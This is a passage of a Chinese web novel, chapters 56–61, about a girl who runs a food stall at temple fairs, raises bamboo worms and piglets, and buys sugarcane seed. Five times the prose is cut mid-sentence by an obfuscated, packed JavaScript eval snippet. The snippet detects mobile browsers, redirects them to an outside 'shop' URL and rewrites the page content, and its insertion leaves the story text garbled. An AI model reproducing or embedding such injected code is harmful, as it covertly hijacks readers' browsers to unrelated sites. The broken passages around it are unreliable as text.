不一会，木萤推着车慢悠悠来了，姜宁帮她下车酒桶，摆好摊子。 一个中年汉子，循着记忆找来，要买米酒和小鱼，和木萤说话。 正讨着价，旁边摊位上的婶子开始吆喝，晃了晃手中的筷子：“买米酒咯，买米酒送小鱼，诶，那个大哥，我家的鱼又大又香，你随意挑一条，你过来看看！” 汰，旁边的米酒婶子，把他们的客人喊走了。 姜宁和木萤面面相觑。 亩萤面上有些不好，等客人走远了，冷哼：“程婶，我们谈价呢，你把人叫走，是不是太过分了！” 被叫程婶的女子，晃了晃钱袋，发出丁零当啷的铜钱撞击声音，嗤笑：“你有本事，你也喊啊。” “木丫头，今儿婶子教你，做生意呢，就是要脸皮厚，嘴皮利索哈！” 木萤一张小脸气的通红：“你，你，你……” 姜宁按住她，对着她成竹在胸眨眨眼：“木姐姐别急，我今儿还做了别的！” 她揭开木盆，露出里头酱色的小肉块，一股子复合香味扑鼻而来。 她们两个小姑娘，比脸厚心黑，哪里是这些老油条的对手。 姜宁夹了一片给木萤。 木萤尝了下，入口香嫩不柴，口感细腻，又蕴含浓郁酱香味，实在好吃。 这味道有点相似，又想不起是什么。 姜宁得意挤眼睛：“这是卤牛蛙肉，可以直接下酒冷吃，我做的新品，他们没有，嘿嘿！” 疑，牛蛙肉她吃过，腥气没油水，被她这么一弄，简直惊为天人。 正说这话，那个中年汉子去而复返，找姜宁买小鱼，眼睛瞅着旁边的程婶，嘴里大声骂骂咧咧：“汰，之前被骗了，这鱼狗都不吃，一股子腥涩味，不如你这个香酥！” 程婶讪讪缩着脖子不敢吭声。 姜宁瞟一眼他手中的小鱼，鱼肚子鼓鼓的，未去内脏，当然又涩又腥。 她不说别人坏话，只是夸自家小鱼经过祖传秘方做出来的，顺便推销新做的田鸡肉，中年汉子尝了一口，立马爱上这股香麻凉辣的味道，倒了一大包，合计八十八文。 好棒的食客，一来就开了个好头！ 57. 第 57 章 来逛庙会的乡民，立马发现了远处多出来的竹篱笆，互相打听，知道那是厕所。 有人大喜过望，太好了，不用爬山去用厕所。 不过，这个厕所竟然收费。 用一次，一文钱。 偏偏是附近唯一厕所，不用不行。大庭广纵，要点脸面的，都做不出随地大小便的事。 当然，也可以爬山，到山上寺庙的厕所了方便，可是再次爬上去，腿不得抖成筛子。 一文便一文吧。 听说厕所修建得很干净，地上还铺了整齐的竹筒，门口守门的小童，在出门后，舀一瓢水帮你冲着，给洗手。 就被冲水洗手，这一文就值。 还有精明的乡民询问发现，只要去庙会尾巴那家小酥鱼摊子，随意买上一些小酥鱼，摊位婶子会给一个小竹片，把这个小竹片交给看门小童，就能免费用厕所。 大家为了上厕所，干脆买上一两文的小酥鱼。吃过后，真好吃，再买上五六文的。 姜宁双管齐下，她在木萤摊位上推销米酒，搭售小酥鱼，姜氏在自家摊位上贩卖，苏慎守着厕所外面，庙会还没散，带来的两盆小酥鱼，一盆牛蛙肉，已经全部售空。 她缩在自家摊位角落里点钱，今儿整整卖了一千二百文。 钱看着挺多，但不经花。 首先去买了一袋子陈米五十公斤，用了200文，两个猪头200文，菜油100文，猪板油两公斤搭半公斤五花肉200文，一口大铁锅800文，还从积蓄里拿出了300文。 回到家，姜宁为铁锅开锅，姜氏到柴房砍竹子捆饭甑子。 姜宁先用竹刷在锅里刷一遍，清洗干净灰尘杂物，然后把锅架在柴火上烧热，烤干水汽，铁锅经过高温灼烧，由浅灰色，变成亮黑色。 然后从五花肉上割下猪皮，用铲子按着，在锅里滑动，保证每一个角落被油脂沁润。 这样养护过的锅，会在表面形成一层油脂薄膜，以后不会生锈。 养好锅，姜氏骂骂咧咧抱着一个大竹筒做的饭甑子进来，放下甑子，倒了盆水，不停的搓洗手：“汰，之前有一根竹子有虫眼，没注意，劈开后掉了一地的虫，密密麻麻的，看得我头皮发麻。” 她不怕虫，怕无数白色的小白虫弯弯曲曲扭挤在一起，看的人密集恐惧症犯了，头皮发麻。 说着，她打了个冷噤，胳膊上竖起一层鸡皮疙瘩。 姜宁愣了一下，而后裂开一个大大的笑。 她紧紧注视着姜氏：“阿娘，那些虫呢，在哪，可以吃的！” 姜氏嫌弃撇嘴：“吃个啥啊，我们家现在有肉吃，不用吃虫子哈！” 姜宁和姜氏说不清楚，端着油灯到柴房，果然地上有些白色细长虫子在蠕动，到处找掩体躲避。 苏慎的两只小鸡激动得咯咯咯啄地，一嘴一只白色的竹虫，扑扇着翅膀，感谢上天降下的美味自助餐，姜宁大呼浪费，这样美味的食材。 好久没看到身影的阿拽，趴在高高柴垛上，悠闲甩着尾巴，嫌弃的盯着地上的白虫。 姜宁举着油灯，鸡口夺食，抢救了一把出来，重新找根竹子放进去养着。 可惜了，才有一把，不够塞牙缝的。 竹虫是象鼻虫或竹蜂幼虫。 象鼻虫在竹笋中产卵，孵化后，幼虫啃食竹子，长得白白胖胖。 一般竹虫在春天产卵，但是姜宁想试一试，要是能把竹虫养活繁殖，那么凭借竹虫的独特美味，一定可以征服一大波食客。 说干就干，她在柴房另外一个角落放了些稻草，然后用箩筐，投放竹虫，再放了些新砍回来的活竹子进去，为了把稳，还兑换了一粒系统的多子丹，泡了一盆水，撒了些到竹子上。 担心阿拽捣乱，又拿个簸箕翻盖在箩筐上头。 行吧，她能做的都做了，成不成，看天意吧。 忙活完，姜宁到灶房，宣布了自己养殖竹虫的事。 猪崽没养上，虫崽先养上了。 姜氏一想到那些小小的身影，嫌弃不已，撇着嘴违心表示支持：“嗯，很好，很棒，我支持你哦！” 苏慎好奇：“竹虫好吃吗？”若好吃，他能负责割竹子喂虫。 以后朋友来约他割猪草，他也可以去约朋友友割虫草。 姜宁解释：“竹虫吃竹子长大，很干净的，味道又好，又能补身体。这样说，你们听说过冬虫夏草吗？是不是很补，竹虫也有类似功能。等养殖成功了，你们一定会爱上这个味道！” 姜氏对于吃虫子，心里很是抗拒。能不能养殖成功，再说。 现在她不啃声，不当扫兴的人。 苏慎就很能接受了，小孩子只管好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197065|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃，具体是虫子，还是其他，对他没差别。 说话间，姜宁接过姜氏手里的菜刀，把煮熟的五花肉连皮，切成小块。 然后放到锅里，油炸逼出多余的油脂。 逼出的油脂舀在油缸里炒菜，锅里余一点底油，重新放入香草八角草果辣椒段爆香，然后放入肉块，敲入几块黄姜，一次性放入一瓢冷水，淹没肉块，小火炖煮，放几片肉蔻，直到肉块软烂入味，肉皮变深棕色，肉块浅棕色，深浅交错，层层分明，就叫黑皮子。 晚饭便做好了。 姜氏蒸的米饭，还有一大陶碗浓稠米汤。 姜宁做的黑皮子。 姜氏煮饭的时候，中途用小筲箕控干水分，漏出的汤水便是米汤，米粒放在甑子里蒸熟，这样做出来的米饭，粒粒分明不黏腻。 米汤粘稠香浓，表面冷却结了一层厚厚的皮，下面依旧滚烫，撒一点细盐，喝上一口，味道香浓滑润。 在现代用电饭煲，来到这里后，之前为躲避胡光俊奔波劳累，后来回家了，只有一口小锅，也没法这样蒸饭。 今日买回大锅，终于喝到了久违的米汤，姜宁感觉，全身毛孔都伸展开来，洋溢着巴适。 然后尝一片黑皮衣肉，肥而不腻，香浓软糯，入口即化，一口爆汁。 爆出来的不是油腻，而是咸鲜，配合着调料的清香，满嘴肉香。 若红烧肉是甜口的，那黑皮子就是咸口的，是一种肉的两个口味。 姜宁瘫坐在草墩上，懒洋洋的，骨子里渗透出一种满足。 阿拽轻飘飘踏进来，围着桌子转了一圈。 这是首次阿拽和他们一起吃晚饭。 姜宁立马精神起来，捡了一个空碗，夹了一片黑皮子摆在自己面前。 阿拽鼻尖嗅了嗅，喵一声，趴在碗前，小嘴小嘴撕扯起来。 姜宁哦了一声，欢喜把手伸到阿拽脖子上，揉了揉，哇奥，好软，好暖和，比毛毯还舒适光滑。 好开心，终于撸到猫猫了。 因为过于激动，姜宁晚间在被窝里滚了好久才睡着，次日起晚了。 大家在门外见她，她才从被窝里探出头，完了完了，大家准备下地种油菜了，她饭还没做好呢。 幸好幸好，昨日泡了一盆米，手指头微微用力就能碾碎，那今日干脆吃卷粉吧！ 58. 第 58 章 隔壁杨婆婆家就有石磨，姜宁端着泡涨发的米粒到杨家，磨成米浆。 回到家后沉淀一下，倒走上头的清水，变成米浆。 大锅里烧水沸腾，摆好空饭甑子，上头蒙两层白布扎紧在甑子边缘，热气顺着甑子上浮，一下便在白布上氤氲出深色的水印，姜宁舀一勺浓稠的米浆在白布上，用锅铲摊平，雪白的米浆在升腾的热气下，即刻延展变熟，成了莹白色的米皮，然后用筷子卷成卷，放到一边的空陶碗里，一条卷粉便做好了。 第一个的时候，手上力度大了些，筷子尖在卷粉强戳了个洞。 第二个的时候，筷子力度轻了些，卷粉是歪的，一边粗，一边细，歪歪扭扭的不好看。 姜宁做第三个，调整筷子角度，找到最佳力度，做出来的卷粉大小厚薄一致，整整齐齐码放在一边的陶碗里，胖墩墩的，好似一只超大号的雪白卧蚕。 后面她加快速度，不到半刻钟，便把一盆米浆，做成了卷粉。 然后锅里烧沸水，卷粉切成手指宽的卷，放到锅里烫十吸，捞出来放在准备好的饭碗里，在晶莹剔透的卷粉上，铺一勺烫好的绿韭菜，黄豆芽，一勺水淋淋的葱花碎，再来一勺炖得耙烂的黑皮子，最后浇一大勺熬煮好的滚白猪骨汤，一碗卷粉便做好了。 快速方便，味道鲜甜，碳水油脂蛋白质维生素俱全。 是她准备下一步上新的小摊美食，先在村里试试水。 果然，大家对卷粉赞不绝口，稀里哗啦便是一碗。 吃完饭，大家帮着一起播种，花了两日的功夫，又种了八亩，只剩四亩地了。 剩下四亩，因都是半大孩子帮忙播种，手有些松，种子用完了，需要去镇上重新买种子。 正好，姜宁想去问问，上次询问的甘蔗种子有没有眉目。 若有，便那些回来，没有的话，再买些油菜种子。 初八庙会，姜宁带着四个盆，和初五庙会一样多的两盆小鱼，一盆牛蛙肉到摊子上，当她到了木萤的摊子，发现隔壁程婶的小酥鱼有了变化，学着她的小鱼，开膛破肚去了内脏。 也摆了一盆冷卤牛蛙肉。 甚至，装小鱼盆的后面，俏生生站了位高个英气的姑娘，满脸无奈有气无力，在那吆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204417|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝。 嗯，这个程婶倒是个能折腾进步的卷人，弄了和他们一模一样的摊子。 除了她家，另外有三个摊位卖小酥鱼。 摆摊就是这样，稍微赚了点小钱，便有无数的模仿者蜂拥而上。 姜宁也不焦急，因为今日，除了小酥鱼，卤牛蛙，她还做了冷吃泥鳅。 嘿嘿，只要新品推出的够快，模仿者就跟不上。 这几日家里吃各种卷粉，泥鳅积攒了很多，已经吐完泥。 泥鳅去除内脏头后，放在炸过葱姜蒜的油里，先定型炸一次，捞起冷却后，再炸一次，然后放入花椒，辣椒面，盐，少许红糖调味，最后淋一些米酒，让所有味道复合起来，撒一把芝麻，起锅装在盆里，浸泡一夜入味。 今儿来的时候，用竹漏勺捞出泥鳅，换小盆带到摊位。 看着只有泥鳅和芝麻辣椒花椒，其实味道很复合，保证其他人一时半会模仿不出来。 因为侵泡过的泥鳅，调料香味会沁润进肉里，祛除土腥味的同时，增加风味。 姜宁撩起袖子，真好，今天又是领先的一天。 59. 第 59 章 中午，姜氏摸了过来，视线梭过几家多出来卖小酥鱼的摊子，语气里都是担心：“阿宁，今日卖小酥鱼的人多，到现在才卖了不到上次庙会的一半，我偷偷凑近听了，他们的小酥鱼一文十五条，我们，要不调整一下价格？” 姜宁皱眉，她是不愿意降价的。 小酥鱼处理根麻烦，光是一条一条清理干净内脏，耗费了无数精力。 然后烧制的时候，添加许多贵价调料，她觉得她的手艺和调料，值这么多钱。 可是，庙会的食客，对价钱比较敏感，不降价的话，很有可能卖不完。 姜宁打算随大流，跟着降价，但又不像其他摊位那样降，她的方案是，买一文十条小酥鱼，额外送一条冷吃泥鳅。 作出调整后，成交量立马上来许多。 上次的中年汉子抱怨：“这么多小酥鱼，就你家的最香，我和好几个兄弟，推荐了你家的小酥鱼，问题是庙会上这么多小酥鱼摊子，好几个朋友买错地，我尝了，味道不如你家的！” 姜宁陪笑：“你们喜欢就好，你放心，过两日，我们就把招牌做起来，保证你们不会再认错。” 不一会，又围上来些食客，同样是小水沟里抓的小鱼小虾，她家的就是格外香酥麻辣有滋味，没有土腥味。 花五六文买肉，一个人分不到几片，但同样的价钱换成小酥鱼，有油有味，全家能配着米饭，吃个饱。 走了个婶子，来个小孩，熙熙攘攘，散庙会的时候，带来的两盆鱼，一盆泥鳅，一盆牛蛙，全部卖完。 姜宁甩了甩发酸的手臂，找木萤买了十文米酒。 木萤打了酒，不肯收她的钱，因摊子多了姜宁的小酥鱼，买酒的客人，喜欢顺便在她酒摊打酒，这几个庙会，她生意好上一倍。 笑道：“你要喝得喜欢，下次来打我收你的钱。 姜宁也不勉强，笑嘻嘻和人道别，抬着空盆到自家摊位上。 摊位上姜氏小盆里的小酥鱼也清空了。 娘三个一起点钱，姜宁卖的最多，有一千一百百八十文，姜氏那里有五百三十文，苏慎赚二十文，还有一筐小竹片。 合计一千七百三十文。 家里油盐酱醋全部见底，必须买买买。 两公斤菜油200文，一公斤红糖60文。 一个猪肘子300文，两公斤猪板油120文，一个猪头100文，因买的多，姜宁和肉摊老板讲价，额外送一对猪大骨。 一袋陈米200文，辣椒草果花椒等120文，合计1100文，余下630文，是打算买甘蔗种子的。 次日一早，姜氏带着姜宁步行半日到平阴镇，找到种子铺子，询问掌柜甘蔗种子。 掌柜看到他们两，远远笑着把她们迎进门：“我正要找人捎信给你们，我打听到甘蔗种子了，不过” 他停顿了一下道：“不过，甘蔗种子有些贵，一亩地种子约莫一贯，有黑皮和青皮两种，黑皮直接吃，青皮嚼不动，用来熬糖，你们要哪种呢，要多少？” 听到这个价格，姜氏倒吸一口凉气。 这么贵！ 要不不要种了吧？ 她把询问的目光投向姜宁。 姜宁算了笔账，一亩种子一贯，一亩地收成正常的话，约莫能收十吨甘蔗，可以熬一吨白砂糖。 一公斤白砂糖80文到100文，那一亩地收益在80贯，80倍的收益，姜宁心头火热，必须干！ 她心内狂喜，面上不显，讲价：“这么贵，优惠点呗！” 是优惠点，不是不要了。 这生意有八成把握。 掌柜笑了：“你们有所不知，我们店铺出售的种子，质量过关，一定是高产无病的，而且，甘蔗种是茎种，运过来路费就要一大笔钱。 实在不能再少了，这样，我额外送你们几包菜种，怎么样？” 姜氏眉头紧蹙，把讲价的姜宁拉到一边：“我们不要了吧，我还没重过甘蔗，风险太大！” 若是四百文，由着她去实验，废了便罢，这可是四贯钱呢！ 另外，他们还背着二十贯外债！ 姜宁面上现出犹豫之色，她种田上，一知半解，转而想到，可以看系统里的付费视频，立马心落回了肚子。 一旁的掌柜察言观色，眼看生意要黄，立马肉痛跺脚：“这样，一亩地我收你们九百文茎种，这是成本价！” 姜宁讶异了一下，好有这样意外之喜！ 当即拍板表示同意，订了四亩熬糖的青皮甘蔗茎种。 掌柜快速开单：“我们一般收一层的订金，您先付360文，等甘蔗种子到了，除非坏种发霉，我们不退货哈！ 甘蔗种子，预计一个月到，到时我找人捎信给你们，若你家田地在路边，我们可以直接车送到田地边，若田地没在路边，需要你们自己安排人担哈。” “这一个月， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215056|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们可以把土地翻成陇，等甘蔗种子一来就可以种。” 收下钱，掌柜细细嘱咐各项事项。 然后姜宁带着姜氏去镇上店铺里，买了100文的白砂糖，100文的胡椒茴香白芷海带等庙会上没有的调料，70文的花生。 然后从积蓄里掏三百文，购了八十个陶碗，一百双筷子。 姜氏捧着一包东西，无奈叹息，得，又是钱如流水两袋空空的一天。 回到家，姜宁先看了看自家的竹虫筐，没有下卵，同时，没有死掉的竹虫，白胖的小虫抱着新砍伐回来的竹筒，吃了睡，睡了吃。 很好，能养活便成功了一半。 然后舀了一大盆陈米泡着。 次日，姜氏借了村长家的牛，和来帮忙的孩子，到地里把剩下的地，犁成陇，姜宁在家卤猪头肉，等人回来，大大一个猪头也卤制好了，姜宁平均分成五份，一份约莫两三公斤，让几家孩子带着回家吃，感谢他们这些天的帮忙。 其中村长家是姜氏亲自去的，顺便还他家的牛。 送走孩子们，三人用着卤猪头肉吃过晚饭，开始熬煮要用的材料。 经过她好几个庙会的观察，这里的乡民，真的不爱面食，更偏好米制品。 那她便用卷粉打开名声。 先做卷粉的浇头。 她暂时打算做两种卷粉，一种凉拌的素卷粉，一种热乎乎的猪肘卷粉。 其实卷粉做好，已经可以吃了，入口寡淡无味，若仔细品尝，有一些回甘。 凉拌的卷粉，在上头浇上一勺佐料酱汤便能吃。 灵魂便是酱汁：用炸过姜葱蒜的菜油，炒一勺豆瓣酱，放上一勺白砂糖，加入干菌子竹笋海带熬制的高汤，调配出来。 再用八成香辣椒，一成灯笼辣，半成小米辣，分别炒干后舂碎，配上芝麻，浇热油做成油辣子，然后炒制花生敲碎，繁杂琐碎。 猪肘更麻烦，需要焯水去腥，然后在皮上抹一层蜂蜜，再放在油里炸，待皮子金黄发焦，捞在砂锅中，和猪大骨一起炖煮。 两种调料做好后，她边把今日攒集的小蚂鱼，泥鳅，卤牛蛙如之前做好，虽说这些有了模仿者，她的依旧是正版。 所有处理好，已经夜深，囫囵睡了一觉，凌晨第一声鸡鸣，约莫四点，两人起来蒸卷粉，蒸制好的卷粉，整齐码放在新编好的筲箕里透气，吃过早饭，她们三人挑着箩筐，背着背篓，满载到庙会摆摊。 60. 第 60 章 到了庙会，只有摊贩在自家摊位上忙碌，赶庙会的乡民还未来。 姜宁寻到小和尚，缴纳了摊位费开始忙碌起来。 先把东西从箩筐里拿出来，然后倒扣箩筐作为基底，上头放一块竹帘，铺上细麻布，整齐摆上自家出售的小酥鱼，卤牛蛙肉，冷吃泥鳅。 然后是卷粉各种调料：酱红色猪肘皮，粉嫩猪肘肉，熬煮的香料汤，配菜绿韭菜，脆黄豆芽，芫荽，香葱，黄酸菜等。 最后是洗干净的陶碗筷子，莹白整齐的卷粉条。 旁边架起小茶炉，先把猪骨汤热沸，放在小茶具旁边，三个石头支撑起来，临时锅洞放了些柴火，放上猪骨汤温着。 小茶炉上摆放小铁锅，烧水后放一只长柄小竹篓。 摊子后面的空地，摆了他们家的小桌子，围着放了四个草墩，供客人来吃卷粉时就坐。 最重要的是，在最前头插一根竹竿，挂上自家的望子：宁记美味食摊。 这是她裁了一块新细麻布布料，自己用锅洞里的木炭，小心勾画出来的，不能淋雨。 她本想叫姜记的，姜氏不同意，说本地姓姜的摊主太多，过几日其他家摊位跟着学挂望子，也叫姜记，没地方说理去。 叫苏记谁都不愿意，最后决定叫宁记，本地没人姓宁的。 这么一布置，小摊子看着像模像样。 她先烫了一碗卷粉，上头摆上翠绿韭菜，黄色豆芽，亮绿香葱，一点黄绿酸菜，然后一勺酱汤，少许辣椒油，再铺上一块肘皮，一筷子撕得薄薄的猪肘肉，最后浇一勺熬煮得鲜香得猪骨汤，用篮子提着，和姜氏端着小鱼一起送去给木萤。 木萤恰好摆好摊子，正张望不见人影的姜宁，看见她们，把人让进来。 姜宁从篮子里端出冒着热气的卷粉，示意木萤快吃。 木萤接过筷子：“你又做了好吃的！我忙了一早上，没吃早饭，打算买些饵块填肚子，正好你来了，我先尝一尝！” 她用筷子搅拌了下，一个个卷子散开成指头宽的米条，裹满了猪骨汤汁，晶莹顺滑，入口弹韧，轻轻一抿，韭菜的鲜嫩，豆芽的清脆，酱料的香浓，化开在齿间。 而后，尝一下猪肘皮，软烂入味，入口即化，一点不油腻，绵密香浓。 肘瘦肉耙烂有嚼劲。 最后喝一口汤，鲜甜回甘，热烫暖胃，好似把春天吃到了嘴里。 木萤放下碗，满足打了个饱嗝：“阿宁，你太厉害了，做一样，好吃一样！” 姜宁挂上笑：“你喜欢就好！” “我娘在你这边卖小酥鱼，我回摊子卖卷粉，你帮忙和客人介绍一下。” 她正要离开，隔壁程婶家守摊的高个英气姐姐，大大咧咧开口了：“那叫姜宁的，你刚刚端来那个是什么，送一碗给我呗，我也没吃早饭！” 她对上姜宁不善的眼神：“放心，我给钱！” 这还差不多。 今日第一个客人，姜宁立马换上笑解释：“不放肉是素的，五文一碗，放肉是荤的，七文，你要什么样的？是去我摊子吃，还是我送来？” 程家姐姐利索数七个铜板递了过来：“我看摊子呢，你送来，要肉的！” 可惜，不能让食摊多个人气了。 转而她又笑了。 回自家摊子，做了一份卷粉，用个簸箕双手端着卷粉，顺着庙会主路，慢悠悠走着，送去给程家姐姐。 一路和人打招呼问好，一路解释：“婶子好！” “干什么去？” “前头米酒摊子的程家姐姐说好吃，让我送去的！” “哦，这是卷粉，就在庙会尾巴那儿的宁记美食摊子上！” “不贵，不贵，素的五文，荤的有肉七文！” 这么来了一糟，半个庙会都知道她家卖新品卷粉，不少摊贩忙碌一早上摆摊，还未吃早饭，听了，立马有样学样，点一碗。 姜宁一边收钱，一边记着，保证一会就送过来。 到了程家米酒摊子，程婶子已经来了，面无表情看着她们交易，程家姐姐顶着程婶针一样的目光，不当回事，笑嘻嘻接过卷粉，说了句过会吃完送碗筷回来，就埋头大吃。 姜宁让木萤帮着卖小酥鱼，叫走姜氏：“阿娘，好多婶子伯伯订了卷粉，我忙不过来，你和我回去，我做，你送！让阿慎过来卖小酥。” 厕所收钱，为了引食客到摊子上，现在大家都知道了厕所是她家的，不用守着了。 木萤笑道：“行吧，你们快去！我会帮忙看着的。” 姜宁按照刚才的订单，开始做卷粉。姜氏先把苏慎送到木萤摊子前，急忙回去。 而后一趟一趟跑，端着簸箕送卷粉，到各家摊子，送到的时候，顺便大声嚷嚷一遍：“阿姐（阿妹，阿婆，阿伯，阿妹），你要的宁记美食摊位的卷粉我送来啦，你吃完碗只管放着，我过会来取哈！” 响亮清晰的宁记美食一遍遍在庙会上空响起，各家摊位老板耳朵听了起老茧，不少点餐的摊贩老板，有些后悔，白给人家摊子宣传了一次。 但把卷粉吃到嘴里，又不介意了，这样美味鲜甜的卷粉，香浓滚烫的浓汤，还有两大块肥美的肉，又送到自家面前，不耽误自己做生意，她喊一声就喊一声吧，下次庙会还让她送。 吃着卷粉，看着庙会尾巴上，唯一一家竖着高高望子的摊子，若有所思，自家，也可以做一个望子的嘛！ 陆陆续续来的香客乡民，也纷纷侧目，记住了庙会尾巴上，望子飘扬的宁记美食摊，庙会上日日相处的摊贩都点她家的卷粉，想来是不会错的，计划逛完庙会，也去吃一碗作午饭或晚饭。 姜氏不计其数的一趟趟跑，自然是有用的，过了中午，姜宁带来的卷粉全部卖空，因碗不够，中途收回碗，用草木灰洗了两次。 连带着小酥鱼泥鳅牛蛙也卖完了，娘三个躲在摊子后数钱，整整入账三千二百文！ 是上次庙会的两倍。 姜氏几乎喜极而泣，成了！ 只要能这样卖上一个月，一个月九次庙会，他们能赚二十七贯，欠着的账能全部还掉。 姜宁不合时宜打破她的幻想：“恐怕不行，还没去成本呢，能赚这么多，是因为大家帮忙一起抓小酥鱼等，还有上次买菜钱没除掉呢。” 姜氏笑道：“没事，反正确定，我们可以还清账就行！” 算完账，苏慎看着摊子，姜宁和姜氏开始采购下次庙会的材料。 猪头两个二百文，大猪肘子两个八百文，猪大骨讲价要的不花钱，香料还够用一次，然后两小袋陈米二百文，还剩一千五百文。 姜宁忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216871|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，和姜氏一起，选了四只活泼乱跳的小猪崽一千二百文，和一袋子玉米，找木萤打了一斤米酒，又去铁匠铺订了一把桃花刀，一把断精钳。 到手的两千七百文瞬间归零。 对于姜宁赚钱花钱的速度，姜氏已经适应良好，她按着荷包里最后四百文的积蓄，庆幸不已，还好还好，这次没有动积蓄。 收拾了东西，一行人回到家。 先给四只小猪崽安家。 姜家没有专门的猪圈，姜氏把竹虫箱搬到了灶房，竹虫每日躲在笼子里啃竹子，安安静静的长胖，不吵不闹没味道。 相对于竹虫，苏慎的小鸡，她的小猪，不是咯咯咯就是哼嗯唧唧，闹得很。 她从杨婆婆家借来泥砖，在放竹虫的地方砌了个猪圈，然后在最低的墙脚上掏了个洞，外头挖个坑，小猪的粪便可以从洞口，自动排出来，不用日日清扫。 猪圈做好，姜宁也用米酒，蒸馏收集出一葫芦高度白酒，可以帮小猪们做阉割手术了。 她从系统中，花了五十心值，反复观摩了学习视频，然后和姜氏一起操作，先用白酒消毒，成功帮四只小猪做了个小手术，再抹上高度白酒消毒，放在撒了石灰的猪圈中静养。 去掉卵-巢的小母猪，和去掉睾-丸的小公猪，手术后一天，躺在稻草上无精打采，可把姜氏担心坏了，喂了些红糖水，第二天就能站起来，第三天伤口结痂，又在猪圈里哼哼唧唧。 她发现做过手术的小猪，比原来更能吃，更喜欢睡觉，不喜欢咬架了，心放到了肚子。 这几日不用种地，姜宁让姜氏编了两只竹桌子，二十个竹凳子，一个可以拆开的大竹操作台，还做了个框架，家里的草墩太重，搬运太累人。 剩余时间，便去田地沟渠里叉鱼虾。 不过，人少力量少，叉到的鱼泥鳅牛蛙，远远没有之前的多。 小酥鱼生意，占了一半的营业额，肯定要继续做下去，姜宁把卤好的两个猪头肉，切成块，分别去了几个来帮忙种田的小伙伴家。 第一个，便是旁边的杨家。 她放下篮子里的猪头肉，单独配好的猪头肉蘸水，和杨婆婆道谢：“婆婆，这些日子，多谢达青阿姐他们帮忙，我们地已经种完了，我做了些猪头肉，你们尝一尝！” 杨婆婆看了她篮子里，约莫三公斤多的猪头肉，连连推拒：“左右他们闲着无事，去胡乱种了几天，哪里要你专门过来！” 这礼忒重了。 两人拉扯半天，杨婆婆还是收下了。 姜宁告别，去了村长家，同样送过猪头肉后，她笑道：“村长，田沟里都是天生地长的小杂鱼和野泥鳅，我想抓来做些吃的，换几个铜钱零花。” 她家做的小酥鱼，村长吃过，自然是好的。 村长看她一眼，不明白她说这话的意思。 姜宁续道：“我一人抓不到多少，想找人收购，可是，又担心其他人为了抓鱼，掉到水里受寒，或万一被蛇咬一嘴，又不敢了。” 说完，不吭声了。 村长坐直了身子，懂她的意思了。 村长也赶庙会，知道姜家的小酥鱼十里八乡都喜欢买，现在找人收购活鱼，是想带着村子里半大孩子赚点零花钱。 她没看错，这是个知恩图报有本事的好孩子！ 61. 第 61 章 村长赞许的目光落在姜宁身上，她微微点头，洞察的视线好似能穿透她的肚皮，安抚她的隐忧：“你心里惦记着大家，想带着姐妹们一起赚零花钱，我替村子里的姑娘们谢谢你，你放心，我会和各家交代的，让他们只准在水沟里叉鱼，不许去河里，不会溺水的！ 这个时节，蛇也快入洞了，即便遇到蛇，大都是没有毒的水蛇，孩子们自小在村子边长大，遇到会处理，不会出问题的，你放心。” “至于价格嘛，庙会零售十五文一公斤，各种小鱼泥鳅牛蛙黄鳝，不拘大小，活的一律十文一公斤，批量结算，你看合适么？” “我告诉他们，捞到的鱼虾，要么全部一起卖给你，要么全部自己处理，绝不会出现单把小的瘦的挑出来给你！” “除了这些，你看看，还有什么我没考虑到？” 村长浑浊的眼睛里，闪过睿智的光彩。 她这一代，老的老，昏的昏，只剩她一个稍微说得上几句话。 下一代，当时看重的是姜宁她娘，偏偏是个恋爱脑，跟着男人跑了。 新一代，孙女阿慧有几分小聪明，可惜自小在村里长大，眼界窄了些。 新回来的姜宁，她看着，有几分机灵劲，这些日子观察，是个懂事的，想试着栽培一下。 她希望姜家村的孩子们，能扭成一根绳索，一起用力，在领头羊的带领下，走得更远。 合伙卖小鱼，就是一个契机，把村里的下一代，扭在一起的契机。 